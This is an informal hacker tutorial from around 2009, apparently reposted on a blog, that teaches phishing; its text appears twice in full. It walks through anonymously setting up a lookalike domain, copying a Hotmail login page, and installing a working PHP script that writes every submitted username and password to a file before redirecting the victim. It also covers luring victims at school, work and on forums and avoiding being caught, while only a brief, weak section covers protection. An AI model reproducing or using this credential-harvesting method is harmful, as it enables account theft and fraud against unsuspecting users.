The simple Art of Phishing
I wrote this last year for a couple of the members and friends
but I have revised it a little for public viewing enjoy :)
--============================================================--
-| T H E S I M P L E A R T O F P H I S I N G |-
-| ---------------------------------------------- |-
-| |-
-| By: Laudarch/MWF/GOA in Accra(GH233). |-
-| (c)2009/10 For Educational Purposes Only!! |-
-| LaudArch, MWF and GOA are not responsible for what you |-
-| do with any information given you here. |-
--============================================================--
[-------------------------------------------------------Page-I-]
[+] Index
[>] Intro - 0x000000000
[>] What is phising? - 0x000000001
[>] Setting up a phish domain - 0x000000002
[>] Getting your target's page - 0x000000003
[>] Coding the Phish stew - 0x000000004
[>] Getting your Victims - 0x000000005
[>] What next?/Security - 0x000000006
[----------------------------------------------Page-0x00000000-]
[+] Intro
[quote]
..and he said unto them you are welcome to my father's house..
- unknown
[/quote]
The Latest victim is Facebook, many people on facebook are now
sharing their passwords and prolly still don't know it. This tut
will teach you how to phish for passwords and a whole
lot(use your imagination) and also how to protect yourself
from this kinda attacks. so go ahead knock urself out
enjoy the breeze! :)
[/] WARNING: This shit is absolute kiddy ;p
[----------------------------------------------Page-0x00000001-]
[+] WHAT IS PHISING?
[quote]
I will make you Phisers of men.. - Jesus of Nazareth.
[/quote]
First am not spelling it hipishly(nu word?) or tryna b gangsta.
[/] Fishing is going to the sea or river and tryna get some fish.
[/] Phising is sitting down for ten minutes and coding a lil
bastard that will fetch you other peoples passwords and
usernames, personal info, etc
[^] more details: Phising is a mimic of a legite login page
like hotmail and putting a lil backdoor in the page so when
someone logs in to their account through ur fake page you get
their passwords and usernames and what ever you ask for then you
foward them to the real thing and they won't know a thing.
Back in school we I used to do this to get cafe time and some
other shit like the school admin's password(which worked).
[----------------------------------------------Page-0x00000002-]
[+] SETTING UP A PHISH DOMAIN
[quote]
sharpen your swords and spears, kiss your wifes and hug your children
for tonight we dine with the devil. - 300
[/quote]
In order to make a phish page you need a webhosting site,
sign up for a free account(Latetly crackers have been registering
domains with stolen credit cards to make it seem more legit),
you must make sure the webhost has PHP hosting for free.
example spam.com
Instructions:
-1- Don't sign-up with your real name or email account you could
end up in jail If people find out the first place they will
search is where you host your page then ur details, then a knock
on your door, and ... You don't want to know the HORROR, The
horror...Aaarghh! This is neccesary because even if you are
testing it is *illegal*
-2- Don't access your saved files(passwords and stuff) at your
home PC or anywhere that can make it easy for you to be caught,
for example use proxy or DaTube (a perl program written by b0z0)
to bounce off other people pcs else just take the bloody risk.
-3- Choose a name thats similar to your targets name, most people
can't tell the difference between hotmail and h0tmail or myspace
and myspoce(Ever wondered why chinese people manage to sell
nile(nike) and we mistakingly buy em n wear them for days b4
realising). A name like h0tmail.gr or h0tmail.ru is great
you might get h0tmail.spam.com; find a url shortena(nu word?) like ".cc"
so you get h0tmail.cc, This is not entirely true as people have
become so dumb nowadays that when the domain name says
http://security123.com and the content is a facebook login
they can't tell the difference(robots).
-4- What r u doing here go to the next topic @#$%^&
[--------------------------------------------------Page-0x00000003-]
[+] GETTING YOUR TARGETS PAGE
[quote]
We need root b4 anything else!, Goddamn it... - Laudarch
[/quote]
After you have a webhost you need to get your targets original
webpage and turn it to yours. this part is easy if you don't
understand it read it again.
Instructions:
-1- Goto you targets website I will use hotmail
hotmail's login page is http://www.mail.live.com/
-2- if you don't have Mozilla firefox goto www.mozilla.org or .com
now in mozilla click view and page source or press Ctrl+U
-3- Copy everything
-4- Open notepad or any text editor and paste it
-5- Save it as any name you want .html(I suggest index.html)
Don't close the editor yet we will continue using it in the next topic.
You need images and co but thats advanced.
[--------------------------------------------------Page-0x00000004-]
[+] CODING THE PHISH STEW
[quote]
The more we learn about miraculous things, the less supernatural they
become. - Laudarch
[\quote]
This part concerns php I'll give you the code, you just copy and
paste believe me it works.
Instructions:
-1- Create a new file name it whatever you want .php eg phisher.php
-2- Cut n paste the code below and save it.
[----Cut here----]
<?php
header( "Location: http://yourtaget.com/" );
$handle = fopen( "database.txt", "a" );
foreach( $_POST as $variable => $value )
{
fwrite( $handle, $variable );
fwrite( $handle, "=" );
fwrite( $handle, $value );
fwrite( $handle, "\r\n" );
}
fwrite( $handle, "\r\n" );
fclose( $handle );
exit;
?>
[----End Cut----]
The line after <?php is where the page goes to after the victim logs in,
change that to you targets page. ie change "http://yourtaget.com/"
to the name of your target's url for example "http://mail.live.com/"
now lets continue the topic before this
-6- Go back to notepad or any text editor you are using search for
action= keep searching till you find something like action="/login.php"
(if you know html or xhtml this isn't new)
change the url("/login.php") into your php file name example "phisher.php"
save it and close the text editor.
-7- Goto to your webhost upload the files voila! you are now
officially *phising*.
[-------------------------------------------------Page-0x00000005-]
[+] GETTING YOUR VICTIMS
[quote]
We will wait for them in the dark. - unknown
[\quote]
Now you need victims how to get em how to get em, ok i know lets tell everyone
we want their passwords so they should login thru our bomb page(nu word?), Naah
too dumb. You need to send it to people like you don't know what it is example
hey check this nu site "your bomb page" you can login faster than "original page".
or if you are on forums paste it there, or my style if you in school paste it
on the notice board(anonymous of course) same if you are at work and the best
one I like paste it in town or even graf it on walls. You get the idea while
you are not caught spread the wrong message oops! the right, I meant the right :)
Now you are done. Shut it down after some time before you get caught!.
you are now a phisher go phish...
[----------------------------------------------Page-0x00000006-]
[+] WHATS NEXT?/SECURITY
[quote]
I bid you go forth and multiply.. - unknown
[\quote]
You can expand this idea, develop new methods, etc
Now how to protect yourself:
-1- Look for the closed padlock sign at the bottom right of
your screen if its there you are on the right website else Uumm!
you are DEAD.
-2- Always chect the domain name in the address bar and make sure
they correspond, safer always login from the oficial sites
forget meebo and shit like that they all can be phished.
-3- If you find a page you think is a phish page report it
search google for that they are many, I and my brother reported
a phising incident on facebook, by the time facebook responded
two days had passed because it was a weekend, and the phishers
had 65,000+ passwords and they are using it to send spam and the
like. So its not always that when you report an action will be
taken instantly but at least you did.
PS:
Theres a lot more but this is ok since the others are too complex.
[----------------------------------------Page-0x00000007-]
[quote]
In the end there shall be only one - unknown
[\quote]
[+] Cell: +233-1ead-b01-86
[~] (c)2009/10 Laudarch, MWF, GOA
P E A C E!
Remember knowledge in the hands of the devil is war
knwoledge in the hands of children is tradegy
Grow up and don't be silly.
-- Laudarch --
[-----------------------------END----------------------]
but I have revised it a little for public viewing enjoy :)
--============================================================--
-| T H E S I M P L E A R T O F P H I S I N G |-
-| ---------------------------------------------- |-
-| |-
-| By: Laudarch/MWF/GOA in Accra(GH233). |-
-| (c)2009/10 For Educational Purposes Only!! |-
-| LaudArch, MWF and GOA are not responsible for what you |-
-| do with any information given you here. |-
--============================================================--
[-------------------------------------------------------Page-I-]
[+] Index
[>] Intro - 0x000000000
[>] What is phising? - 0x000000001
[>] Setting up a phish domain - 0x000000002
[>] Getting your target's page - 0x000000003
[>] Coding the Phish stew - 0x000000004
[>] Getting your Victims - 0x000000005
[>] What next?/Security - 0x000000006
[----------------------------------------------Page-0x00000000-]
[+] Intro
[quote]
..and he said unto them you are welcome to my father's house..
- unknown
[/quote]
The Latest victim is Facebook, many people on facebook are now
sharing their passwords and prolly still don't know it. This tut
will teach you how to phish for passwords and a whole
lot(use your imagination) and also how to protect yourself
from this kinda attacks. so go ahead knock urself out
enjoy the breeze! :)
[/] WARNING: This shit is absolute kiddy ;p
[----------------------------------------------Page-0x00000001-]
[+] WHAT IS PHISING?
[quote]
I will make you Phisers of men.. - Jesus of Nazareth.
[/quote]
First am not spelling it hipishly(nu word?) or tryna b gangsta.
[/] Fishing is going to the sea or river and tryna get some fish.
[/] Phising is sitting down for ten minutes and coding a lil
bastard that will fetch you other peoples passwords and
usernames, personal info, etc
[^] more details: Phising is a mimic of a legite login page
like hotmail and putting a lil backdoor in the page so when
someone logs in to their account through ur fake page you get
their passwords and usernames and what ever you ask for then you
foward them to the real thing and they won't know a thing.
Back in school we I used to do this to get cafe time and some
other shit like the school admin's password(which worked).
[----------------------------------------------Page-0x00000002-]
[+] SETTING UP A PHISH DOMAIN
[quote]
sharpen your swords and spears, kiss your wifes and hug your children
for tonight we dine with the devil. - 300
[/quote]
In order to make a phish page you need a webhosting site,
sign up for a free account(Latetly crackers have been registering
domains with stolen credit cards to make it seem more legit),
you must make sure the webhost has PHP hosting for free.
example spam.com
Instructions:
-1- Don't sign-up with your real name or email account you could
end up in jail If people find out the first place they will
search is where you host your page then ur details, then a knock
on your door, and ... You don't want to know the HORROR, The
horror...Aaarghh! This is neccesary because even if you are
testing it is *illegal*
-2- Don't access your saved files(passwords and stuff) at your
home PC or anywhere that can make it easy for you to be caught,
for example use proxy or DaTube (a perl program written by b0z0)
to bounce off other people pcs else just take the bloody risk.
-3- Choose a name thats similar to your targets name, most people
can't tell the difference between hotmail and h0tmail or myspace
and myspoce(Ever wondered why chinese people manage to sell
nile(nike) and we mistakingly buy em n wear them for days b4
realising). A name like h0tmail.gr or h0tmail.ru is great
you might get h0tmail.spam.com; find a url shortena(nu word?) like ".cc"
so you get h0tmail.cc, This is not entirely true as people have
become so dumb nowadays that when the domain name says
http://security123.com and the content is a facebook login
they can't tell the difference(robots).
-4- What r u doing here go to the next topic @#$%^&
[--------------------------------------------------Page-0x00000003-]
[+] GETTING YOUR TARGETS PAGE
[quote]
We need root b4 anything else!, Goddamn it... - Laudarch
[/quote]
After you have a webhost you need to get your targets original
webpage and turn it to yours. this part is easy if you don't
understand it read it again.
Instructions:
-1- Goto you targets website I will use hotmail
hotmail's login page is http://www.mail.live.com/
-2- if you don't have Mozilla firefox goto www.mozilla.org or .com
now in mozilla click view and page source or press Ctrl+U
-3- Copy everything
-4- Open notepad or any text editor and paste it
-5- Save it as any name you want .html(I suggest index.html)
Don't close the editor yet we will continue using it in the next topic.
You need images and co but thats advanced.
[--------------------------------------------------Page-0x00000004-]
[+] CODING THE PHISH STEW
[quote]
The more we learn about miraculous things, the less supernatural they
become. - Laudarch
[\quote]
This part concerns php I'll give you the code, you just copy and
paste believe me it works.
Instructions:
-1- Create a new file name it whatever you want .php eg phisher.php
-2- Cut n paste the code below and save it.
[----Cut here----]
<?php
header( "Location: http://yourtaget.com/" );
$handle = fopen( "database.txt", "a" );
foreach( $_POST as $variable => $value )
{
fwrite( $handle, $variable );
fwrite( $handle, "=" );
fwrite( $handle, $value );
fwrite( $handle, "\r\n" );
}
fwrite( $handle, "\r\n" );
fclose( $handle );
exit;
?>
[----End Cut----]
The line after <?php is where the page goes to after the victim logs in,
change that to you targets page. ie change "http://yourtaget.com/"
to the name of your target's url for example "http://mail.live.com/"
now lets continue the topic before this
-6- Go back to notepad or any text editor you are using search for
action= keep searching till you find something like action="/login.php"
(if you know html or xhtml this isn't new)
change the url("/login.php") into your php file name example "phisher.php"
save it and close the text editor.
-7- Goto to your webhost upload the files voila! you are now
officially *phising*.
[-------------------------------------------------Page-0x00000005-]
[+] GETTING YOUR VICTIMS
[quote]
We will wait for them in the dark. - unknown
[\quote]
Now you need victims how to get em how to get em, ok i know lets tell everyone
we want their passwords so they should login thru our bomb page(nu word?), Naah
too dumb. You need to send it to people like you don't know what it is example
hey check this nu site "your bomb page" you can login faster than "original page".
or if you are on forums paste it there, or my style if you in school paste it
on the notice board(anonymous of course) same if you are at work and the best
one I like paste it in town or even graf it on walls. You get the idea while
you are not caught spread the wrong message oops! the right, I meant the right :)
Now you are done. Shut it down after some time before you get caught!.
you are now a phisher go phish...
[----------------------------------------------Page-0x00000006-]
[+] WHATS NEXT?/SECURITY
[quote]
I bid you go forth and multiply.. - unknown
[\quote]
You can expand this idea, develop new methods, etc
Now how to protect yourself:
-1- Look for the closed padlock sign at the bottom right of
your screen if its there you are on the right website else Uumm!
you are DEAD.
-2- Always chect the domain name in the address bar and make sure
they correspond, safer always login from the oficial sites
forget meebo and shit like that they all can be phished.
-3- If you find a page you think is a phish page report it
search google for that they are many, I and my brother reported
a phising incident on facebook, by the time facebook responded
two days had passed because it was a weekend, and the phishers
had 65,000+ passwords and they are using it to send spam and the
like. So its not always that when you report an action will be
taken instantly but at least you did.
PS:
Theres a lot more but this is ok since the others are too complex.
[----------------------------------------Page-0x00000007-]
[quote]
In the end there shall be only one - unknown
[\quote]
[+] Cell: +233-1ead-b01-86
[~] (c)2009/10 Laudarch, MWF, GOA
P E A C E!
Remember knowledge in the hands of the devil is war
knwoledge in the hands of children is tradegy
Grow up and don't be silly.
-- Laudarch --
[-----------------------------END----------------------]
Comments
Post a Comment